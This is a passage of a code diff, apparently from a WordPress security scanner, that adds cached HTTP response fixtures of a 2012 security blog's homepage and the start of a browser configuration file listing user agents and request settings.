curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/readme.html
headers: |
HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:24 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Wed, 20 Jun 2012 18:25:15 GMT
ETag: "a0c3-23d7-4c2eb853838c0"
Vary: Accept-Encoding
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
http_version:
mock: false
name_lookup_time: 3.2e-05
pretransfer_time: 3.1e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete:
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /readme.html
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/readme.html
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 0.112111
status_message:
time: 0.19096

View File

@@ -0,0 +1,305 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 0.0
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
<head>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<title>ethicalhack3r</title>\n\
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n\
<meta name=\"description\" content=\"Ethical Hacking blog for computer security professionals and students.\"/>\n\
<meta name=\"keywords\" content=\"hacking, security, information security, cracking, black hat, white hat, wordlist, hackers, digital crime, pen test, penetration test, botnet, worm, virus, information gathering, sniffing, brute force,\"/>\n\
<link rel=\"canonical\" href=\"http://www.ethicalhack3r.co.uk/\"/>\n \n\
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
</head>\n\
<body>\n\
<script type=\"text/javascript\">\r\n\
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
\r\n\
</script>\n\
<div class=\"topLine\">\n\
</div>\n\
<div id=\"wrap\">\n\
<div id=\"header\">\n\
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
<ul id=\"menu\">\n\
<li id=\"home\" class=\"current_page_item\">\n\
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
<div class=\"menuLine\">\n\
01\n\
</div> \n\
</a>\n\
</li>\n\
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
<li id=\"rss\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
</li>\n\
</ul>\n\
<br style=\"clear:both;\"/>\n\
</div>\n \n\
<div id=\"main\">\n\
<div id=\"primary\">\n\
<div class=\"topLine\">\n\
</div>\n\
<h2>Recent</h2>\n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug &#8211; PHP Static Code Analysis</a></h2>\n\
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo&#8217;ing (Google was largely unknown) for the term &#8216;hacking&#8217;. Back then Yahoo! Chat was still around and had a chat room called the &#8216;Hackers Lounge&#8217;, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI &#8216;hacking&#8217; tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these &#8216;hacking&#8217; tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 &#8216;hacking&#8217; tools that I and others used &#8216;back in the day&#8217;. Warning: Download links not verified.</p>\n\
<p><strong>Legion by Rhino9</strong></p>\n\
<p>Use: Windows Null Session share scanner.<br/>\n\
Released: 1999<br/>\n\
Platform: Windows<br/>\n\
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5</a><br/>\n\
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn&#8217;t really know how it was used so I decided to investigate further.</p>\n\
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in &lt;frame&gt; or &lt;iframe&gt; HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
<p>The X-Frame-Options header may have three different values:</p>\n\
<p><strong>DENY</strong> &#8211; No pages are allowed to be loaded.<br/>\n\
<strong>SAMEORIGIN</strong> &#8211; Only pages from the same domain are allowed to be loaded.<br/>\n\
<strong>Allow-From http://www.example.com</strong> &#8211; Only allow frames from www.example.com.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they&#8217;re the ones who call me an &#8216;expert&#8217;, personally, I hate the term and would never call myself one.</p>\n\
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
<p class=\"meta\">\n\
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
<p>I am tired of receiving multiple telemarketing calls per day, I&#8217;m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I&#8217;m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
<p>You can help by signing the petition here;<br/>\n\
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
</p>\n\
</div>\n \n\
<div id=\"morePrev\">\n\
<span id=\"prev\"></span>\n\
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/page/2/\">Next Page &raquo;</a></span>\n\
<br style=\"clear:both;\"/>\n\
</div>\n\
</div>\n \n\
<ul id=\"sidebar\">\n\
<li class=\"sidebarItem\" id=\"search\">\n\
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
</form> </li> \n\
<div class=\"topLine\"></div>\n\
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 8 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 10 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 10 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
<ul>\n\
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
</li>\n\
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
</li>\n\
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
</li>\n\
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
</li>\n\
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
</li>\n\
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
</li>\n\
</ul>\n\
</li>\n\
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li></ul></li>\n\
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
<ul>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
<ul class='xoxo blogroll'>\n\
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
<br/>\n\
<br/>\n\
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
</div></div>\n\
</li>\n\
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&amp;fg=000000&amp;anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
</li>\n\
</ul>\n </div>\n\
<br style=\"clear:both;\"/>\n\
<div id=\"footer\">\n\
<div class=\"copyright\">Copyright &copy; 2008-2012 Ryan Dewhurst</div>\n\
</div>\n \n\
</div>\n \n\
</body>\n\
</html>\n \n \n"
code: 200
connect_time: 0.083137
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/
headers: |
HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:23 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Mon, 09 Jul 2012 07:25:42 GMT
Vary: Accept-Encoding
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
Content-Encoding: gzip
http_version:
mock: false
name_lookup_time: 0.002119
pretransfer_time: 3.4e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete:
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 0.224407
status_message:
time: 0.317425

54
conf/browser.conf.json Normal file
View File

@@ -0,0 +1,54 @@
{
"user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0",
/* Modes :
static : will use the defined user_agent for each request
semi-static : will randomly choose a user agent into available_user_agents before each scan
random : each request will choose a random user agent in available_user_agents
*/
"user_agent_mode": "static",
// Uncomment the next line to use the proxy
//"proxy": "127.0.0.1:3038",
"cache_timeout": 600, // 10 minutes, at this time the cache is cleaned before each scan. If this value is set to 0, the cache will be disabled
"request_timeout": 2000, // 2s
"max_threads": 20,
// Some user_agents can be found there http://techpatterns.com/downloads/firefox/useragentswitcher.xml (thx to Gianluca Brindisi)
"available_user_agents":
[
// Windows
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)",
"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1",
